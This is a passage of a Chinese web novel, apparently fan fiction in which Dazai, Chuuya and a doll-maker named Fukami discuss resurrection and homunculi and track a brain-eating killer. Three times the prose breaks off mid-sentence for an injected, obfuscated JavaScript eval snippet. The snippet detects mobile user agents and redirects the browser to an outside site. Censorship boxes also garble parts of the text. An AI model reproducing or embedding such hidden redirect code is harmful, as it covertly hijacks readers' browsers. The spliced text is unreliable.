“笨蛋蛞蝓,是谁天天操纵重力在天上飞来飞去不好好走路的。”太宰治在一旁吐槽,“不过这么说的话,如果中也穿越到古代社会,难道会被当作神明崇拜?” 太宰治想了想那副场景,忍不住打了个冷颤,“不行,太恶心了,好可怕,蛞蝓神明什么的……” “喂,你什么意思!” 眼看着两人要再度陷入无休止的争吵,深见叹了口气,不得不打断他们:“正如我们所见——科学技术或许尚有界限,但是我们的世界并非只有科学。” “二位都是异能力者吧?虽然是新兴的特殊力量群体,但是异能力种类的丰富性和应用方式的多样性,以及其可成长的潜力一直被人们所关注。操控尸体、甚至操控操控他人的异能力并不是不存在的。” “或许,二位就见过类似的能力也说不定?” 太宰治和中原中也沉默下来。他们不约而同地想起了某个人,发生在一年前的,差点使港口黑手党陷入不得了混乱的法国男人。② 中原中也压低帽檐,声音有些沉闷,“那家伙已经死了。” “复活只是效果,就像重力异能和风控异能都能够使人飞上天一样。”深见漫不经心地道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706468|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “所以——你觉得是异能力者搞的鬼?”太宰治问。 “谁知道呢。”深见依旧是一副油盐不进的样子,“世界上又不是只有异能力,单说日本就有阴阳术在流传,里面有能够使役妖怪的术式,用来操纵人类的尸体也不无可能。③欧洲那边的神秘学也有传承。除此之外还有一些体系外的超能力者。④” “不过,除了借助特殊能力达到的‘复活’效果以外,确实还有另一种更合乎科学的方法,这也是第三种的‘复活术’。”深见突然道。 “早在几百年前,欧洲工业革命的时候,科学技术带来的翻天覆地的创造力便引发人们的期许。有位名叫弗兰肯斯坦的博士,热衷于研究生命的诞生,曾经将各种死人的肢体组装在一起,并使它在某一个夜晚睁开双眼,获得自我意识。⑤” 中原中也的眼皮一跳。 “霍姆克鲁斯,也就是所谓的人造人。”深见的声音宛如一柄尖刀直插入心脏,禁忌的词汇让房间内陷入死一般的沉寂。 中原中也的瞳孔骤缩,周身气势一变,摄人的威压和暴戾的气势自他身上蔓延开来,宛如苏醒的凶兽,红色的能量在房间里扩散,连带着空气都变得沉重起来。 “你这是什么意思?” “什么什么意思?”深见不明所以地看着他,“人造人脱胎于古代炼金术,也叫做‘瓶中小人’,炼金术师们企图通过制造这一人造生物展现大小宇宙之间的联系。在科学的推动下延伸出‘克隆’技术,人造器官的培育也在展开,甚至是母体外培育生命,人造生命的发展在现代科技背景下根本就不是天方夜谭……有什么不对吗?⑥” “呃……”中原中也有些无措地停在原地。 “没什么。”太宰治意味深长地看了一眼他,伸手放在中原中也的肩膀上,压抑的红光一滞,随后消散不见,“继续说吧。” “说起来……我的工作和这个其实也有点关系。”仿佛察觉到气氛的古怪,深见想了想尝试把话题引到相对安全的方向来,“人偶制作在古代也被当作是本人的诅咒替身,后来也作为祝福的象征,但无论哪种就本质而言,都是在尝试将人偶与本人相连的方法。” 仿佛想到什么值得高兴的事,深见突然笑起来,“这么说来,我的工作也可以说是在创造‘生命’呢。” “创造……生命吗。”中原中也喃喃自语。 “嗯,而且与单纯的操纵尸体不同,创造的过程更加强调赋予造物‘自我意识’。前者只是一具行走的尸体,只有后者才可以称得上是‘死而复生’。⑦” 谈及此处,深见的语气变得有些忧郁的怅惘,他坐在狭小的房间里,思绪却已然飘到远方。 “唤回魂魄、操纵尸体、赋予活性……复活术的目的,究竟是使失去灵魂的身体重新睁开双眼?还是使失去□□的灵魂再度回归人间?” 又或许……哪个都无法做到呢? 15. 食脑魔01 今天是非常奇妙的一天。 还记得我之前提到的M先生吗?就是在居酒屋打工的那位,今天我才知道,原来他竟然住在我的隔壁! 一步之遥……不,简直就是一墙之隔! 我是讨厌邻居的,小时候和妈妈在老家,邻居的眼睛像妖怪一样拉的细长,表面十分正常,但是我非常清楚,那一双双狐狸般的眼睛一直在你转身时盯着你的后背,仿佛盯上了美味的鸡。 后来我就一直竭力避免和邻居接触,好不容易找到一间价格合适,邻里关系也简单的房子,就一直小心翼翼盯着邻居出门的动静,避免和人碰面。 隔壁的邻居总是晚出早归,我还在心底揣测过他究竟是做什么工作的,没想到居然是认识的熟人…… 太奇怪了!M先生居然是我的邻居,不,不如说邻居居然是M先生……啊,怎么会这样啊,这样我要怎么憎恶邻居,要怎么面对M先生! 但是……或许,说不准,邻居并没有我想的那么可怕。 M先生是很有上进心,很成熟,很有责任感的人,他人那么温柔,样貌也帅气,性格也好…… 这样的人成为我的邻居,说不定是神在帮助我弥补童年的缺憾。 一定是的,这样的我、这样不完美的我,神正是听到了我的祈求,才将M先生派到我身边来的吧。 这是神的旨意。 我和M先生会幸福的生活在一起。 一定是这样的,这就是——我所期许的未来①。 ——《小川南日记》 2003年3月7日,晴空万里。 三人关于宇多源美代的会谈虽然称不上失败,但也没有多么愉快。 深见关于“复活术”的言论除了为宇多源美代事件蒙上一层神秘的阴霾外,再没有别的什么作用。在这个多重力量交叠干涉的世界里,推理并不能像小说里一样严密且符合逻辑,各种力量都在以自己的独特性挑战现实的权威,以往各种“不可能”的事情在逐渐成为现实。 而且——中原中也忍不住朝后面看了一眼,这种感觉太奇怪了。 “怎么了,中原君?”深见察觉到他的目光,出声询问。 “不,没什么。”中原中也摇摇头,片刻后还是忍不住道,“你和太宰治很熟吗?” 深见有些讶异:“不,我们今天才正式见面,怎么了?” “你们好像,呃,怎么说,很健谈的样子?” 中原中也一面说一面在心里感到一阵无力,他想起来之前森先生特意叮嘱过的要稳住大客户的要求,再对比一下仓库现场那被破坏的看不出原型的材料,只觉得自己八成要搞砸了。 为什么啊……为什么和太宰治那种人可以谈那么顺畅,到他以后就连话题都找不到。 他不会真的连太宰治都比不过吧? 中原中也的心情十分不美妙,虽然知道自己的搭档在性格上确实是个十足十的恶劣混蛋,但是哪怕是中原中也也不得不承认太宰治在揣摩人心上无人能敌。 商务会谈也好,关系处理也罢,比起习惯使用暴力压制敌人获得胜利的中原中也来说,“肩不能抗、手不能提”的太宰治或许更加适应黑手党的生活。 中原中也还记得自己第一次见到太宰治的时候。十五岁的中原中也虽然已经是擂钵街赫赫有名的人物,靠一手重力操纵的异能名震各方,但是在太宰治面前他还是时常觉得不安。 是什么原因导致的?是因为“人间失格”的异能力?还是屡战屡败的赌约记录?亦或者是……那个不能被人所知晓的秘密? “健谈?我们吗?”深见不明所以,“我觉得还好吧……这不是最基本的社交礼仪吗?” “和太宰治吗?”中原中也吐槽了一句。 “太宰君很有礼貌啊。”深见举了个例子,“他的部下在询问我的时候将我的眼镜弄掉了,我请他们帮我捡起来,但一直没有人理会我,只有太宰君不仅帮我把眼镜捡起来,还帮我戴在了眼前,非常体贴,是个很好的人呀。” “……你认真的?”中原中也扭头看到他一脸真诚的样子,像吞了苍蝇一样不知该如何是好。 “而且太宰君和中原君的关系很好吧?明明宇多源美代的事情涉及港口黑手党的机密情报,但是中原君说要带我来仓库检查货物,太宰君就很干脆地放我离开了,完全不怕我中途跑掉。”深见短暂地思考后,得出结论,“你们很信任彼此呢。” “谁会信赖那个青花鱼啊!”中原中也有些不好意思,“那家伙性格差的要死,生活也是一团糟,天天闹着自杀给人添麻烦,简直就是烂人一个!” “真的吗?” “呃……好吧,那家伙脑子确实挺好用的,□□、不,是世界上比他还要聪明的人恐怕一只手就能数的过来吧。”说到这里,中原中也不由得啧了一声,“而且只要他想,就可以随便成为别人喜欢的样子,你们刚刚不是谈的很好吗?你觉得他是个怎么样的人?” “很漂亮的人?” 中原中也的脚步一顿。 他缓慢地转身,不可置信地看着深见。 “你……” “怎么了?”深见反问道。 中原中也略显纠结地看着他,最终还是选择把话咽进肚子里:“……没什么。” 中原中也把心里的一大堆诸如“不会吧,你来真的?”“漂亮是可以用来形容太宰治的吗?”“为什么要用这个形容词啊,是我感觉的那样吗?”“这个要怎么处理啊,如果太宰治知道怎么办?”“他们会打起来吗?”“要向森先生汇报吗?”之类的问题压在心底,试图当这件事没发生过。② “而且,说句不好意思的话,其实我应该向中原君道歉才对。”深见突然开口。 中原中也不明所以,“因为什么?” “那个人造人的话题。”深见回答,“刚刚提到这个的时候您好像很生气的样子,虽然不知道究竟发生了什么……但是果然还是应该跟您说声抱歉。” 中原中也有些不自在地移开目光,“干嘛突然说起这个,这种事情跟你也没关系吧,我只是单纯的讨厌人体实验罢了,用不着道歉。” “是吗。”深见仔细地望着中原中也。 这位暴力的代名词、港口黑手党赫赫有名的重力使,今年才刚满十六岁,还未成年。虽然穿着黑色的西装,衬衣的领口恣意地翻出来,领口挂着一副墨镜,一副黑手党的不羁模样,但稚嫩的面孔和尚且柔软的性格依旧暴露出他涉世未深的处境。 太好骗了啊…… 深见在心中感慨,难怪如此讨厌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706469|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰治,完全就是截然相反的两种人嘛! 这么想着,他打算给这位印象十分良好的重力使一点小提示:“中原君是人造人吗?” 中原中也一个踉跄,差点完成平地摔的壮举。 “别惊讶,我没有恶意的。”在重力使的红光冒出来前,深见十分有眼色地举起双手,做出投降的姿态,“只是随口一说。人类不会无缘无故地厌恶某种东西,毕竟人类的自私性远比他们自己认为的要高的多。虽然您十分善良,但好歹也是黑手党,不会因为良心就对人体实验如此深恶痛绝。” 深见解释道:“所以,我就大胆地猜测您、或者您认识的人曾经深受其害。而考虑到太宰君竟然会选择亲自制止你……人体实验不是港口黑手党做的——至少不是现在的港口黑手党做的,相反,是你在接受港口黑手党的庇护。” 中原中也盯着他,湛蓝的双眼此刻酝酿着即将席卷大地的风暴,片刻后他移开目光,不自在地将双手插进兜里。 “如果你敢把这件事告诉任何人……” “我不会这么做的,请您放心。”深见打断他,“实际上,虽然很难启齿,但是我打心底里十分佩服您呢。” “佩服我?” “您看上去完全不像那类人——我的意思是,您看起来和人类根本没有任何区别嘛。” 深见看着中原中也,神情变得十分柔软,甚至到了温柔的地步,他回忆起多年之前曾有人告诫过他的话语,轻声道,“人偶与血肉之躯,究竟哪个才是真正的我?这是我的老师曾说过的话,她是一位非常优秀的人偶师,虽然我已出师多年,但依旧深受她的影响。③” “人类与非人类,界限究竟在何处?如果赋予人偶情感和价值,那么它能否成为与人一样的个体?同样的,如果失去情感和价值,那么人类是否也就沦为一具空壳?” “哪怕身为人类,亦有人无法融入其中,披着人皮游离在外在人群之外,明明也是同样的血肉之躯,却硬是要比肩那些格格不入的‘怪物’。④但是也有人——”深见认真地看着中原中也,“哪怕身体并非完全的人类,但是灵魂早已成为人类一般的璀璨模样了。” 中原中也被他的言语吸引,不由自主地问:“所以你觉得人造人——我的意思是,人偶是可以成为活着的人类的吗?” 深见反问道:“现在站在我面前的,难道不是血肉之躯吗?” 中原中也笑了起来,“啊,确实如此,现在站在这里的,确实是血肉之躯。⑤” “没错,重要的不是躯壳,而是灵魂。”深见肯定道,“文学故事和乡野传闻中,喜欢为非人类增添进食人类血肉的背景的习惯,其实就是基于人类对□□和灵魂关系的浅薄认知。部分学者认为非人类只有通过对人类血肉的掠夺,才能稳固自身的人类表征,从而维持人类的外貌、脾性、认知、理性。但现实却是,人类并非依靠易腐的血肉成为万物之灵,而是依靠不灭的灵魂。” 说到这里,深见突然想起什么,话语一转道:“对了,你们是怎么称呼它来着?” “它?”中原中也疑惑不解。 “就是那个啊,勉强可以算是你的‘同类’的家伙。”深见说到,“啊,我想起来了,坊间好像是这样叫的吧——” “食脑魔。” 16.食脑魔02 中原中也张了张嘴,却不知道该说些什么。 一种荒谬到让他感到有些恐慌的情绪袭击了他,深见说的每一个字、每一句话他都听的十分清晰,但是当那些熟悉的字眼连接在一起时,他却发现自己竟然无法理解其中的含义。 不,不是无法理解,而是不敢理解。他的直觉、身体、血液在叫嚣着不要让大脑运转起来,更不要去试图理解其中的含义。 “什么……意思?”中原中也艰难地开口道。 “中原君在问哪一个?” 中原中也闭了闭眼睛,强迫自己冷静下来,选择了一个最安全的话题展开:“……食脑魔,为什么你会知道它?” “因为材料。” 深见说着伸出手来,纤长的手指从深蓝色和服的衣袖中探出来,袖口随着他的动作慢慢滑落,最终堆积在臂弯,露出光洁的小臂。 中原中也随着他的动作看去,这才注意到他们已经走到了堆放深见的货物的仓库。驻守的黑手党们见到中原中也带人过来,识趣地安静让开,而沉浸在震惊情绪的中原中也竟然没有注意到。 “虽说是出手大方的客户,但是对比港口黑手党的体量,我也不过是个小虾米罢了,只是一些不值钱的货物损毁,哪里用得着重力使出面招待?”深见的声音依旧十分舒缓,但是中原中也却从中听到了一丝残酷的冷漠,“无利不起早,这是黑手党的准则,能劳驾重力使出面,说明其中一定别有所图。” “要么是我的货物让港口黑手党心动,想要分一杯羹,要么是我的货物出了问题,你们想要以我为饵掉条大鱼上来。”深见说着叹了口气,颇有些无奈地道,“我自认为自己进口的材料只是平平,因此能让您如此兴师动众的原因,只剩下一个:” “我的货物并非无辜受难,而是被有目的地袭击。” 深见看向中原中也,因撞击损坏的眼镜不由自主地下滑,堪堪架在鼻梁上,那双深邃的、浓郁的、甚至有些令人窒息的深蓝色眼睛,在此刻失去了镜片的遮挡,毫无保留地闯入中原中也的眼中。 像寒潭、像沉渊、像终年不化的墨色冰川。 “你们想要知道的就是这个吧,黑手党。” 中原中也听到他冷酷的声音。 简直和刚刚的样子判若两人,中原中也在心中想,没想到这个世界上还有和太宰治一样擅长变脸的人。 他动了动手指,但最终还是没有把双手从上衣的口袋里拿出来,只是压低了声音,做出一副压迫感十足的样子:“啊,就是这个。既然你已经清楚了,那么就请你把知道的一切,完完全全地告诉我们吧。” “没问题哦。”深见突然笑了一下。 “啊?”中原中也愣住。 “都说了我也想和邻居打好关系的嘛。”深见推了推眼镜,又恢复了以往那副有些娇俏的样子,“再说啦,我孤身一人在横滨总有不方便的时候,以后还要多多仰望港口的诸位才是。” “呃……那你刚刚是……” 深见眨眨眼:“开个玩笑,现在我可以进去看看现场吗?” 中原中也深感无力,这种想一出是一出的随性让他条件反射地想起某个难搞的搭档,难怪太宰治走的这么干脆利落,恐怕早已预见到其中天大的麻烦了。 “走吧。”中原中也转身,带他进入了仓库。 港口黑手党的仓库布置的十分专业,货物有序地排列整齐,因袭击损坏的地方都被标明,做了现场保护,深见的货物更是原封不动地放在原地,只有一些因袭击而散落在外面的材料,被从四周收集回来,妥善地摆在一旁。 深见走上前去一一查看这些材料,从木料到石料,从金属到玉石,甚至是一些晒干的动植物标本,他“进口”来的货物比起旁边存放的枪支弹药,显得如此温和无害。 中原中也看着他熟练地观察现场,小心地避免接触,防治损坏现场,忍不住开口:“你刚刚说它是我的‘同类’,这是什么意思?” “字面的意思。”深见一面说着,一面抬起手,戴着不知道从哪里搞来的手套,小心地搬起一块被损坏的木材,“我的材料虽然有些比较珍惜,但没有什么利润空间,也没什么使用价值,唯一能值得称道的,就是收藏价值。” “但是收藏家不会行事如此粗暴,因此袭击我的货物的家伙,所图一定不是它们的常规价值,而是某种‘特殊’的作用。”深见顿了顿,指着这块木材向中原中也展示,“这些东西是制作人偶的绝佳材料,一部分还是我的老师推荐给我的,它们在属性上和人体相契合,能够更好地替代人类的□□。” “那家伙中意的,恐怕就是这一点吧。”深见叹了口气,将木材放回去,“人类也好、非人类也罢,自古以来生物进行劫掠的目的只有一个,那就是自我资源的匮乏。” “缺什么,抢什么。把主意打到我头上来的人,所图也必然与我一样——” “人偶制作。” 深见吐露出那个词汇来。 “那家伙的身体状态恐怕不好,才打算找些材料来弥补自己的□□,不过……”他有些犹豫地四下看了看,仿佛遇到什么难以解释的事情来,“它并没有带走适合修补身体的材料,反而……怎么说呢,它带走了一个蝴蝶标本。” “标本?它带走那东西有什么用?”中原中也奇怪地问。 “……不清楚。我本来是打算把它当作装饰品来使用的,但是我猜它可能误会了什么。在欧洲,蝴蝶曾经被看作是灵魂或者心灵的象征,它只带走了这个,恐怕寻求的并非是□□的填补,而是……灵魂的。” 深见的话停顿了一下,一个可怕的猜测浮现在他的脑海中:“它可能把我当作什么邪道巫师之类的三流货色了,以为我在用蝴蝶指称灵魂,制作灵肉合一的人偶?这么说来……难道它打算更换灵魂吗?” 中原中也也被他的话吓了一跳,“这种事情能做得到?” “不、当然不能。”深见很快地否定了这个理由,“灵魂和□□是完美的匹配对象,岂能随意更换?食脑魔……那家伙在不停地制造杀戮,被害者的大脑都被破坏,所以……” 深见想到什么,声音有些干涩,“中也,那家伙恐怕走上了不得了的歪路,它知道灵魂难以更换,所以他所图的也并非是灵魂本身,而是……脑。” “那家伙,恐怕是想把自己的大脑都换掉。” 大脑……换掉。 这样诡异的词语组合让中原中也感到一阵眩晕,一种难以言喻的感觉自脑中弥散开来,仿佛感受到危机的器官在用神经信号叫嚣着自己的重要性,中原中也从未像此刻一样如此清晰地感觉到自己大脑的存在。 “所以,它杀人的目的是……更换自己的大脑?”中原中也的声音有些干涩,“把脑子都换掉,那还是人类吗?” “那家伙本来就不是正常人。”深见取下眼镜擦拭着,“那种搞不清楚自己到底是什么东西的三流货色,只是‘弗兰肯斯坦’罢了。” “□□拼接组成的怪物,因为意外突然获得意识,却将这偶然的巧合当作是天然的高贵,奢望不属于自己的、属于人类的价值。”深见嗤笑一声,“笨蛋吗,脑才是关键,□□不过是可以更换的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708213|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素材罢了,就算是劫掠也要选对对象啊。” 中原中也看着他完全撕开伪装的模样,出租屋里那个双手被绑在身后,柔弱、礼貌、温和、亲切的形象正在逐渐崩塌,取而代之的是现在这个傲慢、冷酷、残忍的“深见”。 正当他感觉到巨大的割裂感时,深见突然重新将眼镜戴上,话锋一转,语气重新变得温和起来,仿佛刚刚做出辛辣点评的并非他本人一样。 “请放心,它不会成功的。不经处理的材料无法代替灵魂赋予它知性,更换大脑对生物来说更是违背自然本性的亵渎行为,哪怕它再执着于错误的道路,□□也会拒绝它的选择。” 他看向中原中也:“但是与之相对的,一旦它意识到自己的方法是错误的选择,那么它一定还会再来,到那个时候——” 中原中也压低帽檐,“港口黑手党会将受到的攻击加倍奉还。” 深见满意地笑了:“合作愉快,中原君。” 与此同时,港口黑手党,总部大楼。 太宰治再度乘坐电梯,在眩晕感过后抵达了首领所在的楼层。 皮鞋踏在地毯上,声音在传入耳道前就被地毯吸收,只留下一下沉闷的、令人压抑的恐怖氛围。 厚重的大门在他眼前展开,漆黑的房间内,戴着红色围巾的森鸥外成为其中唯一的“光源”,浓郁的黑暗在他身后环绕,几乎要将人吞没殆尽。 “太宰,你来了。”他笑着和太宰治打招呼。 太宰治踏着悄无声息的步伐,进入首领室,大门在他身后缓缓合拢,首领室的黑暗将他也一起吞噬,也将二人的对话彻底封锁。 “森先生。”太宰治打了个招呼。 “宇多源美代的事情,调查的如何了?” “就那样吧。”太宰治有些懒散地站在森鸥外面前,将宇多源美代的事情讲述了一遍,露在外面的一只眼睛凝视着虚空,显然正在一心二用地走神。 森鸥外听完他的叙述,盯着太宰治看了一会,虽然面带微笑,但是那宛如机器一般量身定制的笑容却让人感到生理性的不适。 “太宰,遇到有趣的事情了吗?” 太宰治一顿,目光移动到森鸥外脸上,没有说话。 “死而复活也好,恶意操纵也罢,那些暂且放一放吧。”森鸥外交叉双手抵在下巴上,做出一个充满威慑力的姿势,下达命令,“去帮中也吧,太宰。” 太宰治收敛了所有表情,黑色的眼眸死气沉沉地盯着森鸥外,语气不善:“森先生之前才答应过我这次不和小矮子搭档的。” “这也是没办法的事情,出现意外了嘛,中也一个人可解决不了。” “那家伙不是一个人。”太宰治补充。 “红叶吗?恐怕她现在正为宇多源美代的事情焦头烂额,无心支援。” “不,我说的是另一个。”太宰治打断他,“那个叫深见的,你认识他?” “为什么这么说?” “再大的客户也用不着中也去接待吧?□□对外关系部的人都死光了?需要重力使当掮客?” “中也是最合适的。”森鸥外制止了这个话题,“去吧,太宰,你分明也感兴趣不是吗?而且我有预感,这次你说不定能见到想要的东西。” 森鸥外语气一遍,带着不容置疑的强硬:“这是首领的命令。” 太宰治安静地凝视他,似乎在确定什么,但是森鸥外的表情自始至终都没有变化,依旧是一副定制般的微笑。 讨厌的感觉。 太宰治垂下眼帘,微微欠身,转身消失在黑暗之中。